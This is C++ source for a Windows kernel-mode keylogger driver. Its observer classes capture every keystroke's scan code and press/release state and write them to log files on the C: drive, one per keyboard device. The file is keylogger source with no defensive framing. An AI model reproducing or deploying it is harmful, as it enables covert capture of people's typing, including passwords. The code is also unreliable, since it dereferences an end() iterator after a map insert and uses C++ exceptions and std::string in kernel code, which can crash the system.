Keystroke Monitoring

#include "CKeyLoggerObserver.h"

#include <stdexcept>
#include <vector>

CKeyLoggerObserver::CKeyLoggerObserver(void):
	m_kbEvent(NotificationEvent, FALSE)
{
	IO_STATUS_BLOCK ioStatusBlock;
	OBJECT_ATTRIBUTES objectAttributes;
	UNICODE_STRING usLogPath;

	RtlInitUnicodeString(&usLogPath, L"\\DosDevices\\c:\\device_KeyboardClass0.log");
	InitializeObjectAttributes(&objectAttributes, &usLogPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

	HANDLE hLogFileHandle;
	NTSTATUS lStatus = ZwCreateFile(&hLogFileHandle,
									GENERIC_WRITE,
									&objectAttributes,
									&ioStatusBlock,
									NULL,
									FILE_ATTRIBUTE_NORMAL,
									FILE_SHARE_READ,
									FILE_OPEN_IF,
									FILE_SYNCHRONOUS_IO_NONALERT,
									NULL,
									0);

		if (!NT_SUCCESS(lStatus)){
			throw(std::runtime_error("[KBHookDriver]Cannot create log file."));
		}

	m_logFileHandle.Reset(hLogFileHandle);

	CSystemThreadGuard threadGuard((PKSTART_ROUTINE)WorkLoggerThread, this);
}

void CKeyLoggerObserver::OnProcessEvent(KEY_STATE_DATA& data){
	KEY_LOG_DATA logData;

	logData.bPressed = data.bPressed;
	logData.usScanCode = *data.pusScanCode;

	m_queuedList.AddListTail(logData);
	m_kbEvent.Set();

	return;
}

static void WorkLoggerThread(PVOID pContext){
	CKeyLoggerObserver *pThis = (CKeyLoggerObserver*)pContext;

		while(true){
			pThis->m_kbEvent.Wait();
			std::string sLogMessage;

				while(!pThis->m_queuedList.IsEmpty()){
					CKeyLoggerObserver::KEY_LOG_DATA& logData = pThis->m_queuedList.GetListHead();
					UNICODE_STRING usScanCode;
					wchar_t lpwsNumberBuffer[5];

					RtlZeroMemory(lpwsNumberBuffer, sizeof(lpwsNumberBuffer));
					RtlInitUnicodeString(&usScanCode, NULL);

					usScanCode.MaximumLength = sizeof(lpwsNumberBuffer);
					usScanCode.Buffer = lpwsNumberBuffer;

					RtlIntegerToUnicodeString((ULONG)logData.usScanCode, 0, &usScanCode);

					ANSI_STRING sScanCode;

					RtlUnicodeStringToAnsiString(&sScanCode, &usScanCode, TRUE);

					sLogMessage.append("Key ");
					sLogMessage.append(sScanCode.Buffer);
					sLogMessage.append(" have been ");
					sLogMessage.append(logData.bPressed ? "pressed.\r\n" : "break.\r\n");

					pThis->m_queuedList.PopListHead();
				}

				if (!pThis->m_logFileHandle.IsInvalid()){
					IO_STATUS_BLOCK ioStatusBlock;
					NTSTATUS lStatus = ZwWriteFile(pThis->m_logFileHandle.Get(),
												   NULL,
												   NULL,
												   NULL,
												   &ioStatusBlock,
												   (PVOID)sLogMessage.c_str(),
												   sLogMessage.size(),
												   NULL,
												   NULL);
				}

			pThis->m_kbEvent.Reset();
		}

	return;
}

CKeyLoggerObserver::~CKeyLoggerObserver(void)
{
}

CKeyLoggerObserver2::CKeyLoggerObserver2(void):
	m_kbEvent(NotificationEvent, FALSE)
{
	CSystemThreadGuard threadGuard((PKSTART_ROUTINE)WorkLoggerThread2, this);
}

void CKeyLoggerObserver2::OnProcessEvent(PDEVICE_OBJECT pTopPortDevice, KEY_STATE_DATA& data){
	KEY_LOG_DATA logData;

	logData.bPressed = data.bPressed;
	logData.usScanCode = *data.pusScanCode;
	logData.pTopPortDevice = pTopPortDevice;

	m_queuedList.AddListTail(logData);
	m_kbEvent.Set();

	return;
}

static void WorkLoggerThread2(PVOID pContext){
	CKeyLoggerObserver2 *pThis = (CKeyLoggerObserver2*)pContext;

	while(true){
		pThis->m_kbEvent.Wait();
		std::string sLogMessage;

		while(!pThis->m_queuedList.IsEmpty()){
			CKeyLoggerObserver2::KEY_LOG_DATA& logData = pThis->m_queuedList.GetListHead();
			UNICODE_STRING usScanCode;
			wchar_t lpwsNumberBuffer[5];

			RtlZeroMemory(lpwsNumberBuffer, sizeof(lpwsNumberBuffer));
			RtlInitUnicodeString(&usScanCode, NULL);

			usScanCode.MaximumLength = sizeof(lpwsNumberBuffer);
			usScanCode.Buffer = lpwsNumberBuffer;

			RtlIntegerToUnicodeString((ULONG)logData.usScanCode, 0, &usScanCode);

			ANSI_STRING sScanCode;

			RtlUnicodeStringToAnsiString(&sScanCode, &usScanCode, TRUE);

			sLogMessage.append("Key ");
			sLogMessage.append(sScanCode.Buffer);
			sLogMessage.append(" have been ");
			sLogMessage.append(logData.bPressed ? "pressed.\r\n" : "break.\r\n");

			CKeyLoggerObserver2::DeviceLoggersMap::iterator iIt = 
				pThis->m_deviceLoggersMap.find(logData.pTopPortDevice);

				if (iIt == pThis->m_deviceLoggersMap.end()){
					IO_STATUS_BLOCK ioStatusBlock;
					OBJECT_ATTRIBUTES objectAttributes;
					std::wstring wsLogFile(L"\\DosDevices\\c:\\device_");

					wsLogFile.append(logData.pTopPortDevice->DriverObject->DriverExtension->ServiceKeyName.Buffer);
					wsLogFile.append(L".log");

					UNICODE_STRING usLogPath;

					RtlInitUnicodeString(&usLogPath, (PWCH)wsLogFile.c_str());

					InitializeObjectAttributes(&objectAttributes, 
											   &usLogPath, 
											   OBJ_CASE_INSENSITIVE, 
											   NULL, 
											   NULL);

					HANDLE hLogFileHandle;
					NTSTATUS lStatus = ZwCreateFile(&hLogFileHandle,
													GENERIC_WRITE,
													&objectAttributes,
													&ioStatusBlock,
													NULL,
													FILE_ATTRIBUTE_NORMAL,
													FILE_SHARE_READ,
													FILE_OPEN_IF,
													FILE_SYNCHRONOUS_IO_NONALERT,
													NULL,
													0);

						if (!NT_SUCCESS(lStatus)){
							continue;
						}

					pThis->m_deviceLoggersMap.insert(CKeyLoggerObserver2::DeviceLoggersPair(logData.pTopPortDevice,
																							hLogFileHandle));
				}

				IO_STATUS_BLOCK ioStatusBlock;
				NTSTATUS lStatus = ZwWriteFile(iIt->second,
											   NULL,
											   NULL,
											   NULL,
											   &ioStatusBlock,
											   (PVOID)sLogMessage.c_str(),
											   sLogMessage.size(),
											   NULL,
											   NULL);
			
			pThis->m_queuedList.PopListHead();
		}

		pThis->m_kbEvent.Reset();
	}

	return;
}

CKeyLoggerObserver2::~CKeyLoggerObserver2(void){

		for (DeviceLoggersMap::iterator iIt = m_deviceLoggersMap.begin();
			 iIt != m_deviceLoggersMap.end();
			 ++iIt)
		{
			ZwClose(iIt->second);
		}

}